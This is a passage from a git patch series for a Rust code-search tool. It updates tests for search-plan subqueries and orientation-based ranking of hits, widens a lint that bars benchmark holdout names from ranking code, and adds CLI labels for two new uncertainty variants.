"cli:top_level_entrypoint:impl", - 8, - ), - ( - "codex-rs/exec/src/main.rs", - "exec:binary_entrypoint:impl", - 9, - ), - ("codex-rs/exec/src/cli.rs", "exec:cli_options:impl", 10), - ("codex-rs/exec/src/lib.rs", "exec:runtime:impl", 9), - ("codex-rs/exec/src/exec_events.rs", "exec:events:impl", 9), - ( - "codex-rs/exec/src/event_processor_with_jsonl_output.rs", - "exec:jsonl_event_processor:impl", - 9, - ), - ( - "codex-rs/exec/src/event_processor.rs", - "exec:event_processor:impl", - 8, - ), - ]; - - for (path, expected_key, expected_score) in expected { - let hit = search_plan_test_hit( - path, - path, - Path::new(path), - 1, - SearchHitOrigin::TextMatch, - false, - ); - let coverage = architecture_coverage_for_hit(&hit) - .unwrap_or_else(|| panic!("expected coverage for {path}")); - assert_eq!(coverage.key, expected_key); - assert_eq!(coverage.score, expected_score); - } -} - -#[test] -fn architecture_coverage_promotes_payload_content_flow_surfaces() { - let expected = [ - ("src/payload.config.ts", "payload:config:impl", 9), - ( - "src/collections/Posts.ts", - "payload:posts_collection:impl", - 10, - ), - ( - "src/collections/Comments.ts", - "payload:comments_collection:impl", - 10, - ), - ( - "src/app/(frontend)/posts/[slug]/comments/route.ts", - "comments:submission_route:impl", - 10, - ), - ("src/app/feed.xml/route.ts", "feed:rss_route:impl", 10), - ("src/lib/payload.ts", "payload:client:impl", 10), - ( - "src/lib/content-data/post-content.ts", - "content:post_data:impl", - 10, - ), - ( - "src/lib/content-data/comment-content.ts", - "content:comment_data:impl", - 10, - ), - ]; - - for (path, expected_key, expected_score) in expected { - let hit = search_plan_test_hit( - path, - path, - Path::new(path), - 1, - SearchHitOrigin::TextMatch, - false, - ); - let coverage = architecture_coverage_for_hit(&hit) - .unwrap_or_else(|| panic!("expected coverage for {path}")); - assert_eq!(coverage.key, expected_key); - assert_eq!(coverage.score, expected_score); - } -} - -#[test] -fn architecture_cross_source_coverage_admits_late_payload_content_surfaces() { - let query = "Explain how Root & Runtime public writing and social surfaces connect through Payload collections, post rendering, comment auth/submission, RSS, and the Elsewhere feed."; - let mut indexed_hits = Vec::new(); - let indexed_candidates = Vec::new(); - let mut repo_text_hits = (0..10) - .map(|index| { - search_plan_test_hit( - &format!("generic-payload-{index}"), - &format!("src/app/(payload)/admin/importMap{index}.js"), - Path::new(&format!("src/app/(payload)/admin/importMap{index}.js")), - 1, - SearchHitOrigin::TextMatch, - false, - ) - }) - .collect::>(); - let mut repo_text_candidates = repo_text_hits.clone(); - for path in [ - "src/collections/Posts.ts", - "src/collections/Comments.ts", - "src/app/(frontend)/posts/[slug]/comments/route.ts", - "src/app/feed.xml/route.ts", - "src/lib/payload.ts", - "src/lib/content-data/post-content.ts", - "src/lib/content-data/comment-content.ts", - ] { - repo_text_candidates.push(search_plan_test_hit( - path, - path, - Path::new(path), - 1, - SearchHitOrigin::TextMatch, - false, - )); + ); } - apply_architecture_cross_source_coverage( - query, - &mut indexed_hits, - &mut repo_text_hits, - &indexed_candidates, - &repo_text_candidates, - 10, - ); - - let repo_text_paths = repo_text_hits + let subqueries = search_plan_subqueries(query, &terms); + let typed_anchor_terms = subqueries .iter() - .filter_map(|hit| hit.file_path.as_deref()) - .collect::>(); - for expected in [ - "src/collections/Posts.ts", - "src/collections/Comments.ts", - "src/app/(frontend)/posts/[slug]/comments/route.ts", - "src/app/feed.xml/route.ts", - "src/lib/payload.ts", - "src/lib/content-data/post-content.ts", - "src/lib/content-data/comment-content.ts", - ] { + .find(|subquery| subquery.role == "typed_anchor_terms") + .map(|subquery| subquery.query.as_str()) + .expect("typed anchor subquery"); + for expected in ["ConfigGroup", "WorkerRunner", "DataAccess"] { + assert!( + subqueries + .iter() + .any(|subquery| subquery.role == "named_anchor" && subquery.query == expected), + "expected named-anchor subquery for `{expected}`: {subqueries:#?}" + ); assert!( - repo_text_paths.contains(&expected), - "expected late Payload content surface `{expected}` in {repo_text_paths:#?}" + typed_anchor_terms.contains(expected), + "typed anchor subquery should prioritize named anchors; got `{typed_anchor_terms}`" ); } - assert_eq!(repo_text_paths.len(), 10); } #[test] -fn architecture_cross_source_coverage_admits_late_exec_flow_surfaces() { - let query = "Explain how codex exec --json flows from the top-level CLI into the exec runtime and JSONL event output."; - let mut indexed_hits = vec![search_plan_test_hit( - "exec-cli", - "Cli", - Path::new("codex-rs/exec/src/cli.rs"), - 14, - SearchHitOrigin::IndexedSymbol, - true, - )]; - for index in 0..9 { - indexed_hits.push(search_plan_test_hit( - &format!("generic-cli-{index}"), - "Cli", - Path::new(&format!("codex-rs/generic-{index}/src/cli.rs")), - 1, - SearchHitOrigin::IndexedSymbol, - true, - )); - } - let indexed_candidates = indexed_hits.clone(); +fn search_plan_still_runs_for_seed_anchor_drill_queries_with_exact_hits() { + let query = "Explain how a full indexing run moves through the runtime. Seed anchors: run_index, RuntimeContext::ensure_open_from_summary, WorkspaceIndexer::run"; + assert!( + search_plan_eligible(query, 3), + "drill seed-anchor queries need a plan even when the anchors produce exact symbol hits" + ); - let mut repo_text_hits = vec![search_plan_test_hit( - "exec-events", - "codex-rs/exec/src/exec_events.rs", - Path::new("codex-rs/exec/src/exec_events.rs"), - 8, - SearchHitOrigin::TextMatch, - false, - )]; - for index in 0..9 { - repo_text_hits.push(search_plan_test_hit( - &format!("generic-client-{index}"), - &format!("codex-rs/generic-{index}/src/client.rs"), - Path::new(&format!("codex-rs/generic-{index}/src/client.rs")), - 1, - SearchHitOrigin::TextMatch, - false, - )); - } - let mut repo_text_candidates = repo_text_hits.clone(); - for path in [ - "codex-rs/cli/src/main.rs", - "codex-rs/exec/src/main.rs", - "codex-rs/exec/src/lib.rs", - ] { - repo_text_candidates.push(search_plan_test_hit( - path, - path, - Path::new(path), - 1, - SearchHitOrigin::TextMatch, - false, - )); - } + let same_query_without_seed_anchors = "Explain how run_index RuntimeContext::ensure_open_from_summary WorkspaceIndexer::run moves through the runtime."; + assert!( + !search_plan_eligible(same_query_without_seed_anchors, 3), + "ordinary exact-symbol queries should keep the exact-hit suppression" + ); +} - apply_architecture_cross_source_coverage( - query, - &mut indexed_hits, - &mut repo_text_hits, - &indexed_candidates, - &repo_text_candidates, - 10, +#[test] +fn broad_explain_how_search_plan_survives_generic_exact_hits() { + let query = "Explain how a full indexing run moves from the CLI into runtime orchestration, file discovery, symbol extraction, persistence, and search or snapshot refresh."; + // Eligibility is now the regime gate plus the exact-hit rule; a query with + // exact hits and no seed anchors stays exact-first whatever it is about. + assert!( + orientation_query(query), + "explain-how question should enter the orientation regime" + ); + assert!( + !search_plan_eligible(query, 7), + "exact hits without seed anchors keep the exact-first suppression" + ); + assert!( + search_plan_eligible(query, 0), + "an orientation query with no exact anchor should get a plan" ); - let repo_text_paths = repo_text_hits - .iter() - .filter_map(|hit| hit.file_path.as_deref()) - .collect::>(); + let ordinary_exact_query = "run_index RuntimeContext::ensure_open_from_summary"; + assert!( + !orientation_query(ordinary_exact_query), + "a bare symbol query must not enter the orientation regime" + ); +} + +#[test] +fn search_plan_preserves_seed_anchor_line_exactly() { + let query = "Explain how a full indexing run moves through the runtime. Seed anchors: run_index, run_index_once, RuntimeContext::ensure_open_from_summary, IndexService::run_indexing_blocking, AppController::run_indexing_blocking_inner, index_incremental, WorkspaceManifest::build_execution_plan, WorkspaceIndexer::run, WorkspaceIndexer::flush_projection_batch"; + let terms = search_plan_terms(query); + let subqueries = search_plan_subqueries(query, &terms); for expected in [ - "codex-rs/exec/src/exec_events.rs", - "codex-rs/cli/src/main.rs", - "codex-rs/exec/src/main.rs", - "codex-rs/exec/src/lib.rs", + "run_index", + "run_index_once", + "RuntimeContext::ensure_open_from_summary", + "IndexService::run_indexing_blocking", + "AppController::run_indexing_blocking_inner", + "index_incremental", + "WorkspaceManifest::build_execution_plan", + "WorkspaceIndexer::run", + "WorkspaceIndexer::flush_projection_batch", ] { assert!( - repo_text_paths.contains(&expected), - "expected exec-flow surface `{expected}` in {repo_text_paths:#?}" + subqueries + .iter() + .any(|subquery| subquery.role == "named_anchor" && subquery.query == expected), + "expected exact seed-anchor subquery for `{expected}`: {subqueries:#?}" ); } } #[test] -fn architecture_cross_source_coverage_admits_late_indexed_exec_flow_surfaces() { - let query = "Explain how codex exec --json flows from the top-level CLI into the exec runtime and JSONL event output."; - let mut indexed_hits = vec![ - search_plan_test_hit( - "cli-main", - "Subcommand::Exec", - Path::new("codex-rs/cli/src/main.rs"), - 120, - SearchHitOrigin::IndexedSymbol, - true, - ), - search_plan_test_hit( - "exec-lib", - "run_exec_session", - Path::new("codex-rs/exec/src/lib.rs"), - 1, - SearchHitOrigin::IndexedSymbol, - true, - ), - ]; - for index in 0..8 { - indexed_hits.push(search_plan_test_hit( - &format!("app-server-noise-{index}"), - "CommandExec", - Path::new(&format!( - "codex-rs/app-server-protocol/src/protocol/v2/noise_{index}.rs" - )), - 1, - SearchHitOrigin::IndexedSymbol, - true, - )); - } - let mut indexed_candidates = indexed_hits.clone(); - for (id, name, path) in [ - ("exec-cli", "Cli", "codex-rs/exec/src/cli.rs"), - ("exec-main", "clap::Parser", "codex-rs/exec/src/main.rs"), - ( - "exec-jsonl", - "EventProcessorWithJsonOutput::emit", - "codex-rs/exec/src/event_processor_with_jsonl_output.rs", - ), - ( - "exec-events", - "codex_protocol::models::WebSearchAction", - "codex-rs/exec/src/exec_events.rs", - ), - ] { - indexed_candidates.push(search_plan_test_hit( - id, - name, - Path::new(path), - 1, - SearchHitOrigin::IndexedSymbol, - true, - )); - } - let mut repo_text_hits = Vec::new(); - - apply_architecture_cross_source_coverage( - query, - &mut indexed_hits, - &mut repo_text_hits, - &indexed_candidates, - &[], - 10, - ); - - let indexed_paths = indexed_hits - .iter() - .filter_map(|hit| hit.file_path.as_deref()) - .collect::>(); - for expected in [ - "codex-rs/exec/src/cli.rs", - "codex-rs/exec/src/main.rs", - "codex-rs/exec/src/event_processor_with_jsonl_output.rs", - "codex-rs/exec/src/exec_events.rs", - ] { +fn public_surface_question_keeps_short_pascal_case_named_anchor() { + let query = "Explain how the public surfaces connect to the storage modules and the delivery pipeline. Anchor the answer around Zarq, getQuellStream, and getZarqGuard."; + let terms = search_plan_terms(query); + let subqueries = search_plan_subqueries(query, &terms); + for expected in ["Zarq", "getQuellStream", "getZarqGuard"] { assert!( - indexed_paths.contains(&expected), - "expected late indexed exec-flow surface `{expected}` in {indexed_paths:#?}" + subqueries + .iter() + .any(|subquery| subquery.role == "named_anchor" && subquery.query == expected), + "expected named-anchor subquery for `{expected}`: {subqueries:#?}" ); } - assert_eq!(indexed_paths.len(), 10); } #[test] @@ -1060,6 +233,7 @@ fn search_plan_anchor_groups_keep_diverse_names_before_truncation() { &[], &[], &HashMap::new(), + None, ); let anchors = groups .iter() @@ -1086,12 +260,12 @@ fn search_plan_ranks_active_callers_above_definition_only_anchors() { fs::create_dir_all(source_path.parent().expect("src parent")).expect("create src"); fs::write( &source_path, - "pub fn getLatestSocialEntries() {}\npub fn getElsewhereFeed() {}\n", + "pub fn getQuellRecords() {}\npub fn getQuellStream() {}\n", ) .expect("write source"); let active = search_plan_test_hit( "active", - "getLatestSocialEntries", + "getQuellRecords", &source_path, 1, SearchHitOrigin::IndexedSymbol, @@ -1099,22 +273,28 @@ fn search_plan_ranks_active_callers_above_definition_only_anchors() { ); let definition_only = search_plan_test_hit( "definition", - "getElsewhereFeed", + "getQuellStream", &source_path, 2, SearchHitOrigin::IndexedSymbol, true, ); - let query = "getElsewhereFeed latest social feed"; + let query = "getQuellStream quell record stream"; let terms = search_plan_terms(query); let active_path_evidence = HashMap::from([ ( active.node_id.clone(), - SearchPlanActivePathEvidence { caller_count: 2 }, + SearchPlanActivePathEvidence { + caller_count: 2, + out_call_count: 1, + }, ), ( definition_only.node_id.clone(), - SearchPlanActivePathEvidence { caller_count: 0 }, + SearchPlanActivePathEvidence { + caller_count: 0, + out_call_count: 0, + }, ), ]); @@ -1125,6 +305,7 @@ fn search_plan_ranks_active_callers_above_definition_only_anchors() { &[], &[], &active_path_evidence, + None, ); assert_eq!( @@ -1132,12 +313,12 @@ fn search_plan_ranks_active_callers_above_definition_only_anchors() { .first() .and_then(|group| group.chosen_symbol.as_ref()) .map(|hit| hit.display_name.as_str()), - Some("getLatestSocialEntries"), + Some("getQuellRecords"), "visible production callers should outrank a definition-only exact-name anchor: {groups:#?}" ); assert!( groups.iter().any(|group| { - group.anchor == "getElsewhereFeed" + group.anchor == "getQuellStream" && group.caller_count == 0 && group.definition_only && group.no_visible_callers @@ -1227,3 +408,454 @@ fn search_file_identity_groups_aliases_without_folding_unix_case() { "missing paths keep platform lexical identity: Unix case-sensitive, Windows case-insensitive" ); } + +fn orientation_hit( + id: &str, + display_name: &str, + relative_path: &str, + origin: SearchHitOrigin, +) -> SearchHit { + search_plan_test_hit(id, display_name, Path::new(relative_path), 1, origin, true) +} + +fn hit_evidence( + entry: EntryEvidence, + helper_like: bool, + degrees: CallDegrees, + structural_rank: u8, + subsystem: &str, +) -> OrientationHitEvidence { + OrientationHitEvidence { + entry, + helper_like, + degrees, + structural_rank, + subsystem: subsystem.to_string(), + } +} + +fn order_by_orientation( + query: &str, + hits: &mut [SearchHit], + evidence: Option<&OrientationEvidence>, +) -> Vec { + hits.sort_by(|left, right| { + compare_search_hits_with_project_root(None, query, left, right, evidence) + }); + hits.iter() + .map(|hit| hit.display_name.clone()) + .collect::>() +} + +#[test] +fn orientation_query_ranks_entry_evidence_above_leaf_aliases_when_both_exist() { + let query = "explain how the subsystems connect end to end"; + let mut hits = vec![ + orientation_hit( + "alias", + "zqLeafAlias", + "src/alias.ts", + SearchHitOrigin::IndexedSymbol, + ), + orientation_hit( + "entry", + "aaBootQuell", + "src/boot.ts", + SearchHitOrigin::IndexedSymbol, + ), + ]; + let mut evidence = OrientationEvidence::default(); + evidence.insert( + hits[0].node_id.clone(), + hit_evidence( + EntryEvidence::None, + false, + CallDegrees::default(), + 1, + "ts:src", + ), + ); + evidence.insert( + hits[1].node_id.clone(), + hit_evidence( + EntryEvidence::TopologicalRoot, + false, + CallDegrees { + production_in_calls: 0, + out_calls: 5, + }, + 1, + "ts:src", + ), + ); + + assert_eq!( + order_by_orientation(query, &mut hits, Some(&evidence)), + ["aaBootQuell", "zqLeafAlias"] + ); +} + +#[test] +fn orientation_ranking_never_promotes_a_test_or_vendor_hit_above_production() { + let query = "explain how the subsystems connect end to end"; + let mut hits = vec![ + orientation_hit( + "production", + "zzProductionRoot", + "src/thing.ts", + SearchHitOrigin::IndexedSymbol, + ), + orientation_hit( + "test", + "aaTestedRoot", + "tests/thing.test.ts", + SearchHitOrigin::IndexedSymbol, + ), + ]; + let mut evidence = OrientationEvidence::default(); + evidence.insert( + hits[0].node_id.clone(), + hit_evidence( + EntryEvidence::None, + false, + CallDegrees::default(), + 1, + "ts:src", + ), + ); + // The test-owned hit carries far stronger graph evidence and still must not + // climb past the production hit. + evidence.insert( + hits[1].node_id.clone(), + hit_evidence( + EntryEvidence::TopologicalRoot, + false, + CallDegrees { + production_in_calls: 40, + out_calls: 40, + }, + 0, + "ts:tests", + ), + ); + + assert_eq!( + order_by_orientation(query, &mut hits, Some(&evidence)), + ["zzProductionRoot", "aaTestedRoot"] + ); +} + +#[test] +fn exact_identifier_query_ordering_is_unchanged_by_orientation_ranking() { + let query = "zqExactAnchor"; + let build = || { + vec![ + orientation_hit( + "other", + "zqOther", + "src/other.ts", + SearchHitOrigin::IndexedSymbol, + ), + orientation_hit( + "exact", + "zqExactAnchor", + "src/deep/nested/exact.ts", + SearchHitOrigin::IndexedSymbol, + ), + ] + }; + let seeded = build(); + let mut evidence = OrientationEvidence::default(); + evidence.insert( + seeded[0].node_id.clone(), + hit_evidence( + EntryEvidence::TopologicalRoot, + false, + CallDegrees { + production_in_calls: 9, + out_calls: 9, + }, + 1, + "ts:src", + ), + ); + evidence.insert( + seeded[1].node_id.clone(), + hit_evidence( + EntryEvidence::None, + true, + CallDegrees::default(), + 3, + "ts:src/deep", + ), + ); + + let mut without = build(); + let mut with_evidence = build(); + assert_eq!( + order_by_orientation(query, &mut with_evidence, Some(&evidence)), + order_by_orientation(query, &mut without, None), + "exactness must stay above every orientation field" + ); + assert_eq!( + with_evidence.first().map(|hit| hit.display_name.as_str()), + Some("zqExactAnchor") + ); +} + +#[test] +fn ordering_reduces_to_the_lexical_comparator_when_graph_evidence_is_absent() { + let query = "explain how the subsystems connect end to end"; + let build = || { + vec![ + orientation_hit("one", "zqAlpha", "src/a.ts", SearchHitOrigin::IndexedSymbol), + orientation_hit("two", "zqBeta", "src/b.ts", SearchHitOrigin::IndexedSymbol), + orientation_hit( + "three", + "zqGamma", + "src/c.ts", + SearchHitOrigin::IndexedSymbol, + ), + ] + }; + // The same window built twice: once ranked with an evidence map that holds + // no call degrees, once ranked out of regime. The orders must agree. + let mut evidence = OrientationEvidence::default(); + for (index, hit) in build().into_iter().enumerate() { + evidence.insert( + hit.node_id.clone(), + hit_evidence( + EntryEvidence::None, + false, + CallDegrees::default(), + 1, + &format!("ts:src/{index}"), + ), + ); + } + + let mut edge_free = build(); + let mut lexical = build(); + assert_eq!( + order_by_orientation(query, &mut edge_free, Some(&evidence)), + order_by_orientation(query, &mut lexical, None) + ); + + let report = search_orientation_report(&evidence, 3, &edge_free); + assert!( + report + .uncertainty + .contains(&GroundingOrientationUncertaintyDto::GraphSignalThin) + ); + assert!( + report + .uncertainty + .contains(&GroundingOrientationUncertaintyDto::LexicalFallback) + ); + assert_eq!(report.confidence, GroundingOrientationConfidenceDto::Weak); +} + +#[test] +fn smaller_limit_results_are_an_exact_prefix_of_larger_limit_results_for_one_candidate_set() { + let hits = vec![ + orientation_hit("a", "zqOne", "src/a.ts", SearchHitOrigin::IndexedSymbol), + orientation_hit("b", "zqOne", "src/b.ts", SearchHitOrigin::IndexedSymbol), + orientation_hit("c", "zqTwo", "src/b.ts", SearchHitOrigin::IndexedSymbol), + orientation_hit("d", "zqThree", "src/c.ts", SearchHitOrigin::IndexedSymbol), + ]; + let ordered = diversify_root_order( + hits, + |_| false, + |hit| { + ( + hit.file_path.clone().unwrap_or_default(), + hit.display_name.clone(), + ) + }, + ); + for smaller in 0..=ordered.len() { + for larger in smaller..=ordered.len() { + let short = ordered[..smaller] + .iter() + .map(|hit| hit.node_id.0.as_str()) + .collect::>(); + let long = ordered[..larger] + .iter() + .take(smaller) + .map(|hit| hit.node_id.0.as_str()) + .collect::>(); + assert_eq!(short, long, "prefix broke between {smaller} and {larger}"); + } + } +} + +#[test] +fn subsystem_diversification_represents_distinct_production_subsystems_within_the_limit() { + let hits = vec![ + orientation_hit( + "a1", + "zqAlpha", + "src/alpha/one.ts", + SearchHitOrigin::IndexedSymbol, + ), + orientation_hit( + "a2", + "zqBeta", + "src/alpha/two.ts", + SearchHitOrigin::IndexedSymbol, + ), + orientation_hit( + "b1", + "zqGamma", + "src/beta/one.ts", + SearchHitOrigin::IndexedSymbol, + ), + ]; + let subsystem_of = |path: &str| { + path.rsplit_once('/') + .map(|(dir, _)| dir.to_string()) + .unwrap_or_else(|| path.to_string()) + }; + let ordered = diversify_root_order( + hits, + |_| false, + |hit| { + ( + subsystem_of(hit.file_path.as_deref().unwrap_or_default()), + hit.display_name.clone(), + ) + }, + ); + let first_two = ordered + .iter() + .take(2) + .map(|hit| subsystem_of(hit.file_path.as_deref().unwrap_or_default())) + .collect::>(); + assert_eq!( + first_two.len(), + 2, + "the first two slots should cover two subsystems: {ordered:#?}" + ); +} + +#[test] +fn search_plan_subqueries_contain_only_tokens_from_the_query_closure() { + for query in [ + "explain how the quell pipeline connects to the zarq store end to end", + "architecture overview of the vorbex subsystem and its modules", + "Explain how the flow works. Seed anchors: QuellRunner, zarq_store::open", + "Explain how components connect. Anchor the answer around VorbexGate, QuellSink.", + ] { + let terms = search_plan_terms(query); + let closure = search_plan_query_token_closure(query); + for subquery in search_plan_subqueries(query, &terms) { + if subquery.role == "original_question" || subquery.role == "named_anchor" { + continue; + } + for token in subquery.query.split_whitespace() { + assert!( + closure.contains(&token.to_ascii_lowercase()), + "subquery role `{}` injected `{token}`, which the query never supplied: {closure:?}", + subquery.role + ); + } + } + } +} + +#[test] +fn rejected_hit_reasons_report_typed_evidence_not_coverage_keys() { + let rejected_hit = orientation_hit( + "rejected", + "zqRejected", + "src/thing.ts", + SearchHitOrigin::IndexedSymbol, + ); + let mut evidence = OrientationEvidence::default(); + evidence.insert( + rejected_hit.node_id.clone(), + hit_evidence( + EntryEvidence::LanguageMain, + false, + CallDegrees { + production_in_calls: 4, + out_calls: 1, + }, + 1, + "ts:src", + ), + ); + + let rejected = search_plan_rejected_hits( + &[], + &[], + &[rejected_hit], + &[], + Some(&evidence), + &HashSet::new(), + ); + let reason = &rejected.first().expect("one rejected hit").reason; + assert!(reason.contains("entry=language_main"), "{reason}"); + assert!(reason.contains("production_callers=2"), "{reason}"); + assert!(reason.contains("subsystem_represented=false"), "{reason}"); + assert!(!reason.contains("coverage_key"), "{reason}"); +} + +#[test] +fn duplicate_name_diversity_and_non_primary_deprioritization_are_preserved() { + let query = "explain how the modules connect end to end"; + let mut hits = vec![ + orientation_hit( + "vendor", + "aaShared", + "vendor/lib/a.ts", + SearchHitOrigin::IndexedSymbol, + ), + orientation_hit( + "prod-1", + "zzShared", + "src/one.ts", + SearchHitOrigin::IndexedSymbol, + ), + orientation_hit( + "prod-2", + "zzDistinct", + "src/two.ts", + SearchHitOrigin::IndexedSymbol, + ), + ]; + let mut evidence = OrientationEvidence::default(); + for hit in &hits { + evidence.insert( + hit.node_id.clone(), + hit_evidence( + EntryEvidence::None, + false, + CallDegrees::default(), + 1, + "ts:src", + ), + ); + } + let order = order_by_orientation(query, &mut hits, Some(&evidence)); + assert_eq!( + order.last().map(String::as_str), + Some("aaShared"), + "vendor hits must stay demoted under orientation ranking: {order:?}" + ); + + let diversified = diversify_root_order( + hits.clone(), + |_| false, + |hit| ("one-surface".to_string(), hit.display_name.clone()), + ); + let names = diversified + .iter() + .map(|hit| hit.display_name.as_str()) + .collect::>(); + assert_eq!( + names.iter().collect::>().len(), + names.len(), + "duplicate-name diversity should keep distinct names first: {names:?}" + ); +} From 41679b9614d334056c048d5fd604ade764855d7f Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 02:58:10 -0500 Subject: [PATCH 007/132] scan the runtime ranking surfaces with the generalization lint The lint's banned holdout names only ever applied to two directories -- the agent surface and codestory-retrieval/src. The retrieval ranking files were never in that scan, which is why a literally banned entry-point name sat in grounding.rs through a release with this lint green. Adding patterns without widening scope would have been inert, so widen first: the nine files that decide root order now carry the same name ban as the agent surface. Then ban the decomposed shapes this rebuild removed, in both regex and punctuation-free forms, so they cannot return as a path fragment or a filename check rather than as one of the literal holdout names. Widening immediately surfaced the same framework-name leak in the runtime's own path-based file-role classifier that the store copy had; deleted there too. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/symbol_query.rs | 1 - .../tests/retrieval_generalization_guard.rs | 55 +++++++++++++++++++ scripts/lint-retrieval-generalization.mjs | 34 +++++++++++- 3 files changed, 88 insertions(+), 2 deletions(-) diff --git a/crates/codestory-runtime/src/symbol_query.rs b/crates/codestory-runtime/src/symbol_query.rs index 98ee92a0e..2824838a4 100644 --- a/crates/codestory-runtime/src/symbol_query.rs +++ b/crates/codestory-runtime/src/symbol_query.rs @@ -360,7 +360,6 @@ pub fn retrieval_file_role_from_path(path: &str) -> RetrievalFileRole { || marked.contains("/schema/typescript/") || marked.contains(".generated.") || file_name.contains("generated") - || file_name.contains("payload-types") || file_name.ends_with(".g.cs") { return RetrievalFileRole::Generated; diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index 2633dd92c..59d51c624 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -811,3 +811,58 @@ fn linter_scans_production_files_with_diagnostic_or_test_like_names() { ); } } + +#[test] +fn linter_catches_framework_filename_shapes_the_ranking_rebuild_deleted() { + for probe in [ + "payload.config.ts", + "payload-types.ts", + "next.config.ts", + "app.svelte", + "/src/collections/posts", + "/exec/src/cli.rs", + ] { + let output = run_lint_with_fixture(&format!( + "pub fn leaked_framework_shape() -> &'static str {{ {probe:?} }}\n" + )); + let stderr = String::from_utf8_lossy(&output.stderr); + assert!( + !output.status.success(), + "framework filename shape `{probe}` must not be reintroducible, stderr={stderr}" + ); + } +} + +#[test] +fn linter_scans_the_runtime_ranking_surfaces_for_holdout_names() { + // The scope hole this lane closed: the ranking files decide root order but + // were outside the banned-name scan, so an entry-point name catalog shipped + // with this lint green. + let repo_root = workspace_root(); + let script = lint_script(&repo_root); + let _guard = LINT_SCRIPT_LOCK + .get_or_init(|| Mutex::new(())) + .lock() + .unwrap_or_else(|poisoned| poisoned.into_inner()); + let output = Command::new("node") + .arg(&script) + .current_dir(&repo_root) + .output() + .expect("run generalization lint"); + let stdout = String::from_utf8_lossy(&output.stdout); + assert!( + output.status.success(), + "default lint run should pass, stderr={}", + String::from_utf8_lossy(&output.stderr) + ); + let scanned = stdout + .split(" retrieval file(s)") + .next() + .and_then(|prefix| prefix.split_whitespace().last()) + .and_then(|value| value.parse::().ok()) + .expect("parse retrieval file count from lint stdout"); + assert!( + scanned >= 88, + "ranking surfaces must stay inside the banned-name scan, stdout={stdout}" + ); +} diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index ad99e6186..2f3aeb586 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -191,7 +191,22 @@ const requiredScanDirs = [ path.join(repoRoot, "crates", "codestory-retrieval", "src"), ]; -const requiredProductionOnlyFiles = []; +// The retrieval ranking surfaces. Corpus-derived patterns already reach every +// `crates/*/src` file, but the holdout *names* only ever reached the two +// required directories above -- which is exactly why a banned entry-point name +// literal sat in grounding.rs for a release with this lint green. These files +// decide root order, so they carry the same name ban as the agent surface. +const requiredProductionOnlyFiles = [ + ["codestory-runtime", "grounding.rs"], + ["codestory-runtime", "root_rank.rs"], + ["codestory-runtime", "search_intent.rs"], + ["codestory-runtime", "search_plan.rs"], + ["codestory-runtime", "search_scoring.rs"], + ["codestory-runtime", "search_terms.rs"], + ["codestory-runtime", "symbol_query.rs"], + ["codestory-runtime", "repo_text.rs"], + ["codestory-runtime", "controller_symbols.rs"], +].map(([crateName, fileName]) => path.join(repoRoot, "crates", crateName, "src", fileName)); const usesDefaultScanRoots = explicitScanRoots.length === 0; const missingRequiredPaths = usesDefaultScanRoots @@ -375,6 +390,15 @@ const bannedPatterns = [ "install\\.sh\\s+nvm", "bash_completion\\s+__nvm", "--with-holdout-clone", + // Framework-filename and path-fragment shapes the ranking rebuild deleted. + // Each sat below the specificity threshold of the holdout *name* patterns + // above, which is how they survived the v0.16.1 audit inside ranking code. + "payload-types", + "payload\\.config", + "next\\.config", + "app\\.svelte", + "/src/collections/", + "/exec/src/", ...evalCorpusBoundaryPatternList, ...benchmarkManifestDerivedPatterns(), ...benchmarkEvalProbeDerivedPatterns(), @@ -403,6 +427,14 @@ const bannedCompactPatterns = [ "datarequest", "sessiondelegate", "sourceanimatecss", + // Punctuation-free forms of the framework-filename shapes this ranking + // rebuild removed, so a decomposed spelling cannot bring them back. + "payloadtypes", + "payloadconfig", + "nextconfig", + "appsvelte", + "srccollections", + "execsrc", ...evalCorpusCompactPatternList, ]; From 0935155e3fc3103a8dda66337b0b9c29ee3a5a1a Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 03:01:44 -0500 Subject: [PATCH 008/132] report the two new orientation uncertainty variants on the cli surface GraphSignalThin and LexicalFallback are additive variants, so the stdio and human output paths need their labels and notes. Both say what the ranking could not prove rather than implying a structure claim. Co-Authored-By: Claude Opus 5 --- crates/codestory-cli/src/output.rs | 8 ++++++++ crates/codestory-runtime/src/symbol_query.rs | 2 +- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/crates/codestory-cli/src/output.rs b/crates/codestory-cli/src/output.rs index 6defe98b0..9eb650435 100644 --- a/crates/codestory-cli/src/output.rs +++ b/crates/codestory-cli/src/output.rs @@ -91,6 +91,8 @@ fn grounding_orientation_uncertainty_label( } GroundingOrientationUncertaintyDto::LimitedSubsystemBreadth => "limited_subsystem_breadth", GroundingOrientationUncertaintyDto::CompressedPresentation => "compressed_presentation", + GroundingOrientationUncertaintyDto::GraphSignalThin => "graph_signal_thin", + GroundingOrientationUncertaintyDto::LexicalFallback => "lexical_fallback", } } @@ -113,6 +115,12 @@ fn grounding_orientation_uncertainty_note( GroundingOrientationUncertaintyDto::CompressedPresentation => { "orientation evidence was compressed for the selected budget" } + GroundingOrientationUncertaintyDto::GraphSignalThin => { + "no evaluated candidate carried call-graph evidence; ordering is structural" + } + GroundingOrientationUncertaintyDto::LexicalFallback => { + "no entrypoint or graph evidence; ordering is lexical and structural only" + } } } pub(crate) const REPO_CONTENT_BOUNDARY_LINE: &str = diff --git a/crates/codestory-runtime/src/symbol_query.rs b/crates/codestory-runtime/src/symbol_query.rs index 2824838a4..366c6c9bc 100644 --- a/crates/codestory-runtime/src/symbol_query.rs +++ b/crates/codestory-runtime/src/symbol_query.rs @@ -789,7 +789,7 @@ fn search_match_rank( let orientation = evidence.and_then(|evidence| evidence.get(&hit.node_id)); // Graph evidence must never rescue a demoted test, vendor, or generated // hit, so reference weight is forced off for non-primary sources. - let primary_source = source_bucket == 1 && !is_non_primary_source_hit(hit); + let primary_source = !is_non_primary_source_hit(hit); SearchMatchRank { full_definition, From 